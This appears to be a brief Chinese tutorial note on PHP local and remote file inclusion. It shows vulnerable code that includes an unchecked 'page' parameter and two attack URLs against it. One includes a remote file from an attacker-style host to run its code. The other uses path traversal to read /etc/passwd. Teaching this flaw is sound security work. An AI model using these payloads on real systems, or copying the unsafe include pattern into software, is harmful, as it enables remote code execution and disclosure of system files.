从PHP5.2开始allow_url_include就默认为Off了，而allow_url_fopen一直是On的。
远程文件包含，需要配置allow_url_include，allow_url_fopen为on

http://www.nanhack.com:8888/include/index.php?page=http://www.hacker.wang/php.txt

包含ect/passwd

http://www.nanhack.com:8888/include/index.php?page=../../../../etc/passwd

<?php if(isset($_GET['page'])){
$path = $_GET['page'];
    include $path;
}else{
    include "home.php";
}
?>